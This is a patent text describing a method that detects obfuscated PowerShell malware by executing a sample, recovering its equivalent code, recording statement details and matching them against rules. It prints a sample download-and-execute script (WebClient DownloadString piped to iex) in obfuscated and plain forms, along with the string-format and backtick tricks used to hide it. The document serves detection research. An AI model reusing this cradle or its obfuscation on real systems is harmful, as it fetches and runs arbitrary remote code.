Method and device for detecting PowerShell malicious script, electronic equipment and storage medium

Abstract

The invention provides a PowerShell malicious script detection method and device, electronic equipment and a storage medium, and belongs to the technical field of network security, in the method, obfuscated and deformed codes are restored by executing a to-be-detected PowerShell script file, equivalent codes after obfuscated and deformed restoration are obtained, and the equivalent codes are stored in the PowerShell malicious script file. According to the method and the device, the to-be-detected PowerShell script file is obtained through the malicious script detection rule, then statement execution information of the equivalent code during execution is obtained, and finally whether the to-be-detected PowerShell script file is a PowerShell malicious script or not is determined through a mode of matching the malicious script detection rule with the statement execution information, so that the obfuscated and deformed PowerShell malicious script can be effectively detected, namely, the obfuscated and deformed PowerShell malicious script can be effectively dealt with, and the detection efficiency of the PowerShell malicious script is improved. And the detection efficiency of the PowerShell malicious script is improved.

Description

Technical Field

[0001] The present invention relates to the technical field of network security, and in particular to a method, device, electronic device and storage medium for detecting PowerShell malicious scripts. Background Art

[0002] Malicious scripts refer to program codes designed to perform unauthorized, harmful or fraudulent actions. These scripts may contain various attack logics, such as remote downloading and executing malicious code, modifying system security configuration, stealing user data files, etc., and even further implanting backdoors to carry out continuous attacks, posing a serious threat to network security.

[0003] PowerShell is a powerful command line and scripting language designed for system administrators to automate and manage Windows operating systems and applications. It provides a rich command set and scripting capabilities, supporting complex task automation and remote management. At the same time, this also increases the complexity and diversity of PowerShell malicious samples, making it difficult for existing detection methods to effectively detect them.

[0004] At present, the detection methods of PowerShell malicious samples mainly include: traditional signature-based or rule-based methods, machine learning methods, and behavior analysis-based methods. The signature-based or rule-based methods rely on known malicious PowerShell script signatures or rule libraries to detect malicious samples. By matching the script content with the malicious patterns in the signature or rule library, it is determined whether the script is malicious. This method has a poor detection effect on unknown or obfuscated malicious scripts, and the signature or rule library needs to be continuously updated to include new malicious patterns, but the update often lags behind the emergence of malicious scripts. The machine learning method automatically learns the characteristics of malicious scripts by training models and uses them to detect new malicious samples. However, it is difficult for the samples used for training to cover all malicious sample deformations, resulting in poor recognition effect of the model built by training for malicious sample deformations that cannot be covered. The behavior analysis-based method determines whether the PowerShell script is malicious by monitoring its execution behavior. However, behavior analysis may be affected by factors such as system environment, configuration, and permissions, resulting in false positives or false negatives. And for malicious scripts with strong concealment, behavior analysis may be difficult to discover their true intentions.

[0005] In summary, how to effectively detect obfuscated and deformed PowerShell malicious scripts has become a technical problem that needs to be solved urgently. Summary of the invention

[0006] In view of this, the purpose of the present invention is to provide a method, device, electronic device and storage medium for detecting PowerShell malicious scripts to alleviate the technical problem that the prior art cannot effectively detect obfuscated and deformed PowerShell malicious scripts.

[0007] In a first aspect, an embodiment of the present invention provides a method for detecting PowerShell malicious scripts, comprising: Load and execute the PowerShell script file to be detected, obtain the execution result, and determine the equivalent code after obfuscated deformation and restoration based on the execution result; Acquire statement execution information when the equivalent code is executed, wherein the statement execution information includes: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; The predefined malicious script detection rules are matched with each of the statement execution information, and it is determined whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

[0008] Furthermore, the PowerShell script file to be detected is loaded and executed, including: The variables and expressions contained in each statement in the PowerShell script file to be detected are actually executed to obtain corresponding execution results.

[0009] Further, determining whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result includes: If the target malicious script detection rule matches the statement execution information, it is determined that the PowerShell script file to be detected is a PowerShell malicious script.

[0010] Furthermore, the method further comprises: If the execution result contains a syntax error, it is determined that the PowerShell script file to be detected is not a malicious PowerShell script.

[0011] Furthermore, the method further comprises: If the PowerShell script file to be detected contains an encrypted string, decrypt the encrypted string to obtain a new code segment; Execute the code in the new code segment to obtain a new execution result, and determine a new equivalent code after the obfuscated deformation is restored based on the new execution result; Acquire new statement execution information when the new equivalent code is executed, wherein the new statement execution information includes: an original command name of the new statement, an original class name of the new statement, an original method name of the new statement, an original parameter value of the new statement, and an original parameter source of the new statement; The predefined malicious script detection rules are matched with each of the new statement execution information, and it is determined whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

[0012] Furthermore, if the PowerShell script file to be detected is not a malicious PowerShell script, and the PowerShell script file to be detected contains a branch statement, the method further includes: Flatten the branch statements to obtain flattened code, wherein the branch flattening includes: deleting branch symbols and retaining branch conditions and branch internal codes; Execute the flattened code to obtain a branch flattening execution result, and determine the branch flattening equivalent code after the obfuscated deformation restoration based on the branch flattening execution result; Obtaining branch flattening statement execution information when the branch flattening equivalent code is executed, wherein the branch flattening statement execution information includes: an original command name of the branch flattening statement, an original class name of the branch flattening statement, an original method name of the branch flattening statement, an original parameter value of the branch flattening statement, and an original parameter source of the branch flattening statement; The predefined malicious script detection rules are matched with the execution information of each branch flattened statement, and it is determined whether the branch statement is a PowerShell malicious script based on the matching result, and then it is determined whether the PowerShell script file to be detected is a PowerShell malicious script.

[0013] Furthermore, the method further comprises: If the result of whether the PowerShell script file to be detected is a PowerShell malicious script is not obtained within the preset time, it is determined that the PowerShell script file to be detected is not a PowerShell malicious script.

[0014] In a second aspect, an embodiment of the present invention further provides a PowerShell malicious script detection device, comprising: An execution and determination unit, used to load and execute the PowerShell script file to be detected, obtain an execution result, and determine the equivalent code after obfuscated deformation and restoration based on the execution result; An acquisition unit, used to acquire statement execution information when the equivalent code is executed, wherein the statement execution information includes: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; The matching unit is used to match the predefined malicious script detection rules with the statement execution information, and determine whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

[0015] In a third aspect, an embodiment of the present invention further provides an electronic device, comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein the processor implements the steps of any one of the methods described in the first aspect when executing the computer program.

[0016] In a fourth aspect, an embodiment of the present invention further provides a computer-readable storage medium, wherein the computer-readable storage medium stores machine-executable instructions. When the machine-executable instructions are called and executed by a processor, the machine-executable instructions prompt the processor to execute any method described in the first aspect above.

[0017] In an embodiment of the present invention, a method for detecting PowerShell malicious scripts is provided, comprising: loading and executing a PowerShell script file to be detected, obtaining an execution result, and determining an equivalent code after obfuscation, deformation and restoration based on the execution result; obtaining statement execution information of the equivalent code when it is executed, wherein the statement execution information comprises: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; matching a predefined malicious script detection rule with each statement execution information, and determining whether the PowerShell script file to be detected is a PowerShell malicious script based on the matching result. From the above description, it can be seen that in the PowerShell malicious script detection method of the present invention, the obfuscated and deformed code is restored by executing the PowerShell script file to be detected to obtain the equivalent code after the obfuscated and deformed restoration, and then the statement execution information of the equivalent code when it is executed is obtained, and finally, by matching the malicious script detection rules with the statement execution information, it is determined whether the PowerShell script file to be detected is a PowerShell malicious script, thereby achieving effective detection of obfuscated and deformed PowerShell malicious scripts, that is, it can effectively deal with obfuscated and deformed PowerShell malicious scripts, improve the detection efficiency of PowerShell malicious scripts, and alleviate the technical problem that traditional technologies cannot effectively detect obfuscated and deformed PowerShell malicious scripts. BRIEF DESCRIPTION OF THE DRAWINGS

[0018] In order to more clearly illustrate the specific implementation methods of the present invention or the technical solutions in the prior art, the drawings required for use in the specific implementation methods or the description of the prior art will be briefly introduced below. Obviously, the drawings described below are some implementation methods of the present invention. For ordinary technicians in this field, other drawings can be obtained based on these drawings without paying creative work.

[0019] Figure 1 A flowchart of a method for detecting PowerShell malicious scripts provided by an embodiment of the present invention; Figure 2 A schematic diagram of operation reasoning, execution information recording and rule matching provided by an embodiment of the present invention; Figure 3 A schematic diagram of a PowerShell malicious script detection device provided by an embodiment of the present invention; Figure 4 A schematic diagram of an electronic device provided by an embodiment of the present invention. DETAILED DESCRIPTION

[0020] The technical solution of the present invention will be clearly and completely described below in conjunction with the embodiments. Obviously, the described embodiments are part of the embodiments of the present invention, rather than all of the embodiments. Based on the embodiments of the present invention, all other embodiments obtained by ordinary technicians in this field without creative work are within the scope of protection of the present invention.

[0021] Traditional technologies cannot effectively detect obfuscated and deformed PowerShell malicious scripts.

[0022] Based on this, in the PowerShell malicious script detection method of the present invention, the obfuscated and deformed code is restored by executing the PowerShell script file to be detected to obtain the equivalent code after the obfuscated and deformed restoration, and then the statement execution information of the equivalent code when it is executed is obtained. Finally, by matching the malicious script detection rules with the statement execution information, it is determined whether the PowerShell script file to be detected is a PowerShell malicious script, thereby achieving effective detection of obfuscated and deformed PowerShell malicious scripts, that is, it can effectively deal with obfuscated and deformed PowerShell malicious scripts, thereby improving the detection efficiency of PowerShell malicious scripts.

[0023] To facilitate understanding of this embodiment, a method for detecting PowerShell malicious scripts disclosed in an embodiment of the present invention is first introduced in detail.

[0024] Embodiment 1: According to an embodiment of the present invention, an embodiment of a method for detecting PowerShell malicious scripts is provided. It should be noted that the steps shown in the flowchart of the accompanying drawings can be executed in a computer system such as a set of computer executable instructions, and although a logical order is shown in the flowchart, in some cases, the steps shown or described can be executed in an order different from that shown here.

[0025] Figure 1 is a flow chart of a method for detecting PowerShell malicious scripts according to an embodiment of the present invention, such as Figure 1 As shown, the method comprises the following steps: Step S102, loading and executing the PowerShell script file to be detected, obtaining the execution result, and determining the equivalent code after obfuscated, deformed and restored based on the execution result; Specifically, take a PowerShell script file to be detected as an example for explanation. Assume that the PowerShell script file to be detected is: function Download_Execute { [CmdletBinding()] Param( [Parameter(POSitIoN = 0, mANdaTORY = ${tr`UE})] [String]${U`Rl} ) ${Webc`LiE`NT} = .("{0}{1}{2}" -f'N','ew-Obje','ct') ("{0}{1}{3}{2}" -f 'System','.Net.Web','nt','Clie'); [string]${heXF`or`MaT} = ${WEb`CLie`Nt}.("{1}{4}{2}{3}{0}" -f 'ng','Downl','t','ri','oadS').Invoke(${U`Rl}); if (${H`eXfORm`At} -like " xxx ") { &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT}; } else { echo "hello world";} } The above-mentioned PowerShell script file to be detected is a relatively common PowerShell malicious script deformation, including: dynamic command call and obfuscated deformation of class name and method name. The dynamic command call uses the . operator and appends the command name string after string formatting obfuscation (such as .("{0}{1}{2}" -f'N','ew-Obje','ct')("{0}{1}{3}{2}" -f'System','.Net.Web','nt','Clie')). Among them, the code ("{0}{1}{2}" -f'N','ew-Obje','ct') is the command name after string formatting obfuscation, ("{0}{1}{3}{2}" -f'System','.Net.Web','nt','Clie') is the class name after string formatting obfuscation, ("{1}{4}{2}{3}{0}" -f 'ng','Downl','t','ri','oadS') is the method name after string formatting obfuscation, and ("{1}{0}"-f 'x','ie') is the command name after string formatting obfuscation. The above code takes advantage of string formatting obfuscation deformation, and the codes {heXF`or`MaT} and {H`eXfORm`At} take advantage of the case-insensitive feature of variable names in PowerShell language. These codes cannot effectively express string obfuscation deformation through regular expressions. The previous deformation operation paves the way for the code &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT}, which executes any code downloaded from the network through the iex command (i.e. ("{1}{0}"-f 'x','ie')). Therefore, several traditional malicious script detection methods (signature-based or rule-based methods, machine learning methods, and behavior analysis-based methods) cannot effectively detect the above PowerShell script files to be detected.

[0026] The equivalent code corresponding to the above PowerShell script file to be detected is: function Download_Execute { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [String]$URL ) $webClient = New-Object System.Net.WebClient; [string]$hexFormat = $webClient.DownloadString($URL); if ($hexFormat -like " xxx ") { iex $hexFormat; } else { echo "hello world"; } } Step S104, obtaining statement execution information when the equivalent code is executed, wherein the statement execution information includes: the original command name of the statement, the original class name of the statement, the original method name of the statement, the original parameter value of the statement, and the original parameter source of the statement; Specifically, Figure 2 As shown, in the equivalent code of the above step S102, the New-ObjectSystem.Net.WebClient statement is used to instantiate a WebClient object, and the original command name New-Object and the original class name System.Net.WebClient are recorded. The $webClient.DownloadString($URL) statement is used to download arbitrary code from the specified URL, and save the code to the variable ${he`XfoR`mAt}, and the original class name System.Net.WebClient and its original method name DownloadString are recorded, and the original parameter value of the variable ${he`XfoR`mAt} is derived from the call result of the above method. iex $hexformat is used to execute arbitrary code downloaded from the Internet, and record the information such as the original command name iex and the original parameter value of its parameter variable $hexformat are derived from the DownloadString method call of the System.Net.WebClient object.

[0027] Step S106, matching the predefined malicious script detection rules with the execution information of each statement, and determining whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

[0028] Specifically, the above malicious script detection rules define a complete script code malicious feature, including: a single rule that only contains a single code malicious feature and a multi-rule that requires a combination of multiple code features. Taking the above PowerShell script file to be detected as an example, the malicious feature defined in the matching rule is: iex command execution, and its execution parameters come from the content downloaded from the network, such as Figure 2 shown.

[0029] In an embodiment of the present invention, a method for detecting PowerShell malicious scripts is provided, comprising: loading and executing a PowerShell script file to be detected, obtaining an execution result, and determining an equivalent code after obfuscation, deformation and restoration based on the execution result; obtaining statement execution information of the equivalent code when it is executed, wherein the statement execution information comprises: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; matching a predefined malicious script detection rule with each statement execution information, and determining whether the PowerShell script file to be detected is a PowerShell malicious script based on the matching result. From the above description, it can be seen that in the PowerShell malicious script detection method of the present invention, the obfuscated and deformed code is restored by executing the PowerShell script file to be detected to obtain the equivalent code after the obfuscated and deformed restoration, and then the statement execution information of the equivalent code when it is executed is obtained, and finally, by matching the malicious script detection rules with the statement execution information, it is determined whether the PowerShell script file to be detected is a PowerShell malicious script, thereby achieving effective detection of obfuscated and deformed PowerShell malicious scripts, that is, it can effectively deal with obfuscated and deformed PowerShell malicious scripts, improve the detection efficiency of PowerShell malicious scripts, and alleviate the technical problem that traditional technologies cannot effectively detect obfuscated and deformed PowerShell malicious scripts.

[0030] The above content briefly introduces the PowerShell malicious script detection method of the present invention, and the specific contents involved are described in detail below.

[0031] In an optional embodiment of the present invention, loading and executing the PowerShell script file to be detected specifically includes the following steps: The variables and expressions contained in each statement in the PowerShell script file to be detected are actually executed to obtain the corresponding execution results.

[0032] Specifically, for the PowerShell script file to be detected in step S102 above, operation reasoning is performed on each statement in the PowerShell script file to be detected. There are many related operations, such as assignment operation, string formatting operation, array operation and method call, etc. Figure 2 As shown, in the above script program (i.e., the PowerShell script file to be detected), the operation result of the ${Webc`LiE`NT} variable is New-Object System.Net.WebClient, the operation result of the ${WEb`CLie`Nt}.("{1}{4}{2}{3}{0}" -f'ng','Downl','t','ri','oadS').Invoke(${U`Rl}) variable is $webClient.DownloadString($URL), and the operation result of &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT} is iex $hexformat. The above operation result (i.e., the execution result) is directly used as the equivalent code after the obfuscated deformation restoration, and the equivalent code shown in the above step S102 can be obtained.

[0033] In an optional embodiment of the present invention, determining whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result specifically includes the following steps: If the target malicious script detection rule matches the statement execution information, it is determined that the PowerShell script file to be detected is a PowerShell malicious script.

[0034] Specifically, if the target malicious script detection rule matches the statement execution information, it is determined that the PowerShell script file to be detected is a PowerShell malicious script described by the matched target malicious script detection rule.

[0035] In an optional embodiment of the present invention, the method further comprises the following steps: If the execution result contains a syntax error, it is determined that the PowerShell script file to be detected is not a malicious PowerShell script.

[0036] Specifically, a technical solution for quickly determining that a PowerShell script file to be detected is not a PowerShell malicious script is provided here. The judgment method is that if the execution result of the PowerShell script file to be detected contains a syntax error, the PowerShell script file to be detected is considered not to be a PowerShell malicious script. Since a script file with a syntax error cannot be run, it is an invalid detection sample and therefore cannot be a PowerShell malicious script. Once the PowerShell script file to be detected is determined to be not a PowerShell malicious script, the detection is terminated and the subsequent steps (i.e., the process from step S104 to step S106) do not need to be executed; if the execution result does not contain a syntax error, the subsequent steps (i.e., determining the equivalent code after obfuscated deformation restoration based on the execution result, the process from step S104 to step S106) need to be executed for further detection.

[0037] In an optional embodiment of the present invention, the method further comprises the following steps: (1) If the PowerShell script file to be detected contains an encrypted string, the encrypted string is decrypted to obtain a new code segment; (2) Execute the code in the new code segment to obtain a new execution result, and determine the new equivalent code after the obfuscated deformation restoration based on the new execution result; (3) obtaining the new statement execution information when the new equivalent code is executed, wherein the new statement execution information includes: the original command name of the new statement, the original class name of the new statement, the original method name of the new statement, the original parameter value of the new statement, and the original parameter source of the new statement; (4) Match the predefined malicious script detection rules with the execution information of each new statement, and determine whether the PowerShell script file to be detected is a PowerShell malicious script based on the matching results.

[0038] Specifically, if the PowerShell script file to be detected contains encrypted strings. For example, for some strings encrypted by base64_encode, they need to be decrypted by base64_decode during execution, and a new code segment will be generated after decryption. If the generated new code segment is called by commands such as iex and Invoke-Command, the code in the new code segment will still repeat steps S102~S106 to detect malicious samples (i.e. PowerShell malicious scripts).

[0039] In an optional embodiment of the present invention, if the PowerShell script file to be detected is not a malicious PowerShell script, and the PowerShell script file to be detected contains a branch statement, the method further includes the following steps: (1) Flattening the branch statements to obtain flattened code, wherein the branch flattening includes: deleting branch symbols and retaining branch conditions and branch internal codes; (2) Execute the flattened code to obtain the branch flattening execution result, and determine the branch flattening equivalent code after the obfuscated deformation restoration based on the branch flattening execution result; (3) obtaining branch flattening statement execution information when the branch flattening equivalent code is executed, wherein the branch flattening statement execution information includes: the original command name of the branch flattening statement, the original class name of the branch flattening statement, the original method name of the branch flattening statement, the original parameter value of the branch flattening statement, and the original parameter source of the branch flattening statement; (4) Match the predefined malicious script detection rules with the execution information of each branch flattened statement, and determine whether the branch statement is a PowerShell malicious script based on the matching result, and then determine whether the PowerShell script file to be detected is a PowerShell malicious script.

[0040] Specifically, if the PowerShell script file to be detected is not a malicious PowerShell script, and the PowerShell script file to be detected contains branch statements (if, switch, etc.), hackers will deliberately create interference to bypass the normal program execution in order to bypass the detection tool. For example, by setting a branch statement, the branch that does not contain the threat function is executed under normal circumstances, so that the detection tool determines that it is not a malicious script. Therefore, it is necessary to flatten the branch statements, that is, remove the branch statements, retain the branch conditions and the internal code of the branch to cover all execution paths, and then repeat steps S102~S106 to detect malicious samples. The branch flattening method is that during the script execution process, when the interpreter executes the opcode compiled into the script, when the branch jump instruction is executed, the branch jump operation is not performed to achieve the effect of branch flattening. For example, for the following branch statement: if (${H`eXfORm`At} -like " xxx ") { &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT}; } else { echo "hello world"; } This branch statement contains two branches. The first part is: &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT}; The second part is: echo "hello world"; After flattening the above branch statements, we get the following code: ${H`eXfORm`At} -like " xxx "; &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT}; echo "hello world"; Among them, ${H`eXfORm`At} -like " xxx " is the branch condition of the original if branch statement, which is used to determine whether the value of the variable $HexFormat contains the "xxx" string. &("{1}{0}"-f 'x','ie') ${HEXFO`Rm`AT} is the internal code in the if branch statement. The equivalent code is inferred to be iex $HexFormat, which means executing any code downloaded from the network and saved in the $HexFormat variable. It is the core malicious code in the malicious script. echo "helloworld" is the internal code in the eles branch statement, which is a useless code to bypass script detection.

[0041] By performing computational reasoning (i.e., executing the flattened code), branch flattening statement execution information recording, and rule matching on the flattened code, it is possible to effectively deal with the situation where part of the malicious code exists in a specific branch statement such as if and switch, ensuring that all code in the script can be effectively detected and that the detection of the code in the branch will not be missed due to the existence of branch statements.

[0042] After analyzing the statements of the PowerShell script files to be detected listed above, it can be concluded that the script first downloads a piece of arbitrary code from the Internet and then uses PowerShell's iex command to execute the malicious code. It is a typical remote code execution type malicious script.

[0043] In an optional embodiment of the present invention, the method further comprises the following steps: If the result of whether the PowerShell script file to be detected is a PowerShell malicious script is not obtained within the preset time, it is determined that the PowerShell script file to be detected is not a PowerShell malicious script.

[0044] Specifically, a method for improving detection efficiency is provided here. By setting a time threshold (maximum detection time, i.e., preset time), when the detection time exceeds the preset time, the detection is terminated and it is determined that the PowerShell script file to be detected is not a malicious PowerShell script. In this way, it is possible to avoid the detection of malicious samples taking too long.

[0045] The PowerShell malicious script detection method of the present invention performs equivalent restoration of PowerShell obfuscation and deformation by performing computational reasoning on the PowerShell script file to be detected (i.e., executing the PowerShell script file to be detected to determine the equivalent code after obfuscation and deformation restoration), statement execution information recording and rule matching, thereby effectively coping with obfuscated and deformed PowerShell malicious scripts, improving the detection efficiency of PowerShell malicious scripts, and solving the problem that the existing detection methods are difficult to effectively detect malicious script deformations due to the complexity and diversity of PowerShell malicious scripts.

[0046] Embodiment 2: The embodiment of the present invention further provides a PowerShell malicious script detection device, which is mainly used to execute the PowerShell malicious script detection method provided in the first embodiment of the present invention. The PowerShell malicious script detection device provided in the embodiment of the present invention is specifically introduced below.

[0047] Figure 3 is a schematic diagram of a PowerShell malicious script detection device according to an embodiment of the present invention, such as Figure 3 As shown, the device mainly includes: an execution and determination unit 10, an acquisition unit 20, and a matching unit 30, wherein: An execution and determination unit, used to load and execute the PowerShell script file to be detected, obtain the execution result, and determine the equivalent code after obfuscated deformation and restoration based on the execution result; An acquisition unit, used to acquire statement execution information when the equivalent code is executed, wherein the statement execution information includes: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; The matching unit is used to match the predefined malicious script detection rules with the execution information of each statement, and determine whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

[0048] In an embodiment of the present invention, a detection device for PowerShell malicious scripts is provided, comprising: loading and executing a PowerShell script file to be detected, obtaining an execution result, and determining an equivalent code after obfuscation, deformation and restoration based on the execution result; obtaining statement execution information of the equivalent code when it is executed, wherein the statement execution information includes: the original command name of the statement, the original class name of the statement, the original method name of the statement, the original parameter value of the statement, and the original parameter source of the statement; matching a predefined malicious script detection rule with each statement execution information, and determining whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result. From the above description, it can be seen that in the detection device for PowerShell malicious scripts of the present invention, the obfuscated and deformed code is restored by executing the PowerShell script file to be detected to obtain the equivalent code after the obfuscated and deformed restoration, and then the statement execution information of the equivalent code when it is executed is obtained. Finally, by matching the malicious script detection rules with the statement execution information, it is determined whether the PowerShell script file to be detected is a PowerShell malicious script, thereby achieving effective detection of obfuscated and deformed PowerShell malicious scripts, that is, it can effectively deal with obfuscated and deformed PowerShell malicious scripts, improve the detection efficiency of PowerShell malicious scripts, and alleviate the technical problem that traditional technologies cannot effectively detect obfuscated and deformed PowerShell malicious scripts.

[0049] Optionally, the execution and determination unit is further used to obtain corresponding execution results by actually executing the variables and expressions contained in each statement in the PowerShell script file to be detected.

[0050] Optionally, the matching unit is further used to: if the target malicious script detection rule matches the statement execution information, determine that the PowerShell script file to be detected is a PowerShell malicious script.

[0051] Optionally, the device is also used to: if the execution result contains a syntax error, determine that the PowerShell script file to be detected is not a PowerShell malicious script.

[0052] Optionally, the device is also used to: if the PowerShell script file to be detected contains an encrypted string, decrypt the encrypted string to obtain a new code segment; execute the code in the new code segment to obtain a new execution result, and determine the new equivalent code after obfuscation, deformation and restoration based on the new execution result; obtain new statement execution information when the new equivalent code is executed, wherein the new statement execution information includes: the original command name of the new statement, the original class name of the new statement, the original method name of the new statement, the original parameter value of the new statement, and the original parameter source of the new statement; match the predefined malicious script detection rules with each new statement execution information, and determine whether the PowerShell script file to be detected is a PowerShell malicious script based on the matching result.

[0053] Optionally, if the PowerShell script file to be detected is not a PowerShell malicious script, and the PowerShell script file to be detected contains branch statements, the device is also used to: flatten the branch statements to obtain flattened code, wherein branch flattening includes: deleting branch symbols, retaining branch conditions and branch internal code; executing the flattened code to obtain a branch flattening execution result, and determining the branch flattening equivalent code after obfuscation, deformation and restoration based on the branch flattening execution result; obtaining branch flattening statement execution information of the branch flattening equivalent code when it is executed, wherein the branch flattening statement execution information includes: the original command name of the branch flattening statement, the original class name of the branch flattening statement, the original method name of the branch flattening statement, the original parameter value of the branch flattening statement, and the original parameter source of the branch flattening statement; matching the predefined malicious script detection rules with the execution information of each branch flattening statement, and determining whether the branch statement is a PowerShell malicious script based on the matching result, and then determining whether the PowerShell script file to be detected is a PowerShell malicious script.

[0054] Optionally, the device is also used to: if the result of whether the PowerShell script file to be detected is a PowerShell malicious script is not obtained within a preset time, determine that the PowerShell script file to be detected is not a PowerShell malicious script.

[0055] The device provided in the embodiment of the present invention has the same implementation principle and technical effects as those of the aforementioned method embodiment. For the sake of brief description, for matters not mentioned in the device embodiment, reference may be made to the corresponding contents in the aforementioned method embodiment.

[0056] like Figure 4As shown, an electronic device 600 provided in an embodiment of the present application includes: a processor 601, a memory 602 and a bus, wherein the memory 602 stores machine-readable instructions executable by the processor 601. When the electronic device is running, the processor 601 communicates with the memory 602 through the bus, and the processor 601 executes the machine-readable instructions to perform the steps of the above-mentioned PowerShell malicious script detection method.

[0057] Specifically, the above-mentioned memory 602 and processor 601 can be general-purpose memory and processor, which are not specifically limited here. When the processor 601 runs the computer program stored in the memory 602, the above-mentioned PowerShell malicious script detection method can be executed.

[0058] The processor 601 may be an integrated circuit chip with signal processing capabilities. In the implementation process, each step of the above method can be completed by the hardware integrated logic circuit or software instructions in the processor 601. The above processor 601 can be a general-purpose processor, including a central processing unit (CPU), a network processor (NP), etc.; it can also be a digital signal processor (DSP), an application-specific integrated circuit (ASIC), a field-programmable gate array (FPGA) or other programmable logic devices, discrete gates or transistor logic devices, discrete hardware components. The methods, steps and logic block diagrams disclosed in the embodiments of the present application can be implemented or executed. The general processor can be a microprocessor or the processor can also be any conventional processor, etc. The steps of the method disclosed in the embodiments of the present application can be directly embodied as a hardware decoding processor for execution, or a combination of hardware and software modules in the decoding processor for execution. The software module may be located in a storage medium mature in the art such as a random access memory, a flash memory, a read-only memory, a programmable read-only memory, or an electrically erasable programmable memory, a register, etc. The storage medium is located in the memory 602, and the processor 601 reads the information in the memory 602 and completes the steps of the above method in combination with its hardware.

[0059] Corresponding to the above-mentioned PowerShell malicious script detection method, an embodiment of the present application also provides a computer-readable storage medium, which stores machine-executable instructions. When the computer-executable instructions are called and executed by a processor, the computer-executable instructions prompt the processor to execute the steps of the above-mentioned PowerShell malicious script detection method.

[0060] The PowerShell malicious script detection device provided in the embodiment of the present application can be specific hardware on the device or software or firmware installed on the device. The implementation principle and technical effects of the device provided in the embodiment of the present application are the same as those of the aforementioned method embodiment. For the sake of brief description, the parts not mentioned in the device embodiment can refer to the corresponding contents in the aforementioned method embodiment. Technical personnel in the relevant field can clearly understand that for the convenience and simplicity of description, the specific working processes of the systems, devices and units described above can all refer to the corresponding processes in the aforementioned method embodiment, and will not be repeated here.

[0061] In the embodiments provided in the present application, it should be understood that the disclosed devices and methods can be implemented in other ways. The device embodiments described above are merely schematic. For example, the division of the units is only a logical function division. There may be other division methods in actual implementation. For example, multiple units or components can be combined or integrated into another system, or some features can be ignored or not executed. Another point is that the mutual coupling or direct coupling or communication connection shown or discussed can be through some communication interfaces, and the indirect coupling or communication connection of the devices or units can be electrical, mechanical or other forms.

[0062] For another example, the flowchart and block diagram in the accompanying drawings show the possible architecture, function and operation of the device, method and computer program product according to multiple embodiments of the present application. In this regard, each box in the flowchart or block diagram can represent a module, a program segment or a part of the code, and the module, the program segment or a part of the code contains one or more executable instructions for realizing the specified logical function. It should also be noted that in some alternative implementations, the functions marked in the box can also occur in a different order from the order marked in the accompanying drawings. For example, two consecutive boxes can actually be executed substantially in parallel, and they can sometimes be executed in the opposite order, depending on the functions involved. It should also be noted that each box in the block diagram and / or the flowchart, and the combination of the boxes in the block diagram and / or the flowchart can be implemented with a dedicated hardware-based system that performs a specified function or action, or can be implemented with a combination of dedicated hardware and computer instructions.

[0063] The units described as separate components may or may not be physically separated, and the components shown as units may or may not be physical units, that is, they may be located in one place or distributed on multiple network units. Some or all of the units may be selected according to actual needs to achieve the purpose of the solution of this embodiment.

[0064] In addition, each functional unit in the embodiments provided in the present application may be integrated into one processing unit, or each unit may exist physically separately, or two or more units may be integrated into one unit.

[0065] If the function is implemented in the form of a software functional unit and sold or used as an independent product, it can be stored in a computer-readable storage medium. Based on this understanding, the technical solution of the present application can be essentially or partly embodied in the form of a software product that contributes to the prior art. The computer software product is stored in a storage medium and includes several instructions for enabling an electronic device (which can be a personal computer, server, or network device, etc.) to execute all or part of the steps of the PowerShell malicious script detection method described in each embodiment of the present application. The aforementioned storage medium includes: U disk, mobile hard disk, read-only memory (ROM), random access memory (RAM), disk or optical disk, and other media that can store program codes.

[0066] It should be noted that similar numbers and letters represent similar items in the following figures. Therefore, once an item is defined in one figure, it does not need to be further defined and explained in subsequent figures. In addition, the terms "first", "second", "third", etc. are only used to distinguish the description and are not to be understood as indicating or implying relative importance.

[0067] Finally, it should be noted that the above-described embodiments are only specific implementation methods of the present application, which are used to illustrate the technical solution of the present application, rather than to limit it. The protection scope of the present application is not limited thereto. Although the present application is described in detail with reference to the aforementioned embodiments, ordinary technicians in the field should understand that any technician familiar with the technical field can still modify the technical solution recorded in the aforementioned embodiments within the technical scope disclosed in the present application, or can easily think of changes, or make equivalent replacements for some of the technical features therein; and these modifications, changes or replacements do not make the essence of the corresponding technical solution deviate from the scope of the technical solution of the embodiment of the present application. They should all be included in the protection scope of the present application. Therefore, the protection scope of the present application shall be based on the protection scope of the claims.

Claims

1. A method for detecting PowerShell malicious scripts, characterized in that: include: Load and execute the PowerShell script file to be detected, obtain the execution result, and determine the equivalent code after obfuscated deformation and restoration based on the execution result; Acquire statement execution information when the equivalent code is executed, wherein the statement execution information includes: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; The predefined malicious script detection rules are matched with each of the statement execution information, and it is determined whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

2. The method according to claim 1, characterized in that Load and execute the PowerShell script file to be detected, including: The variables and expressions contained in each statement in the PowerShell script file to be detected are actually executed to obtain corresponding execution results.

3. The method according to claim 1, characterized in that Determining whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result includes: If the target malicious script detection rule matches the statement execution information, it is determined that the PowerShell script file to be detected is a PowerShell malicious script.

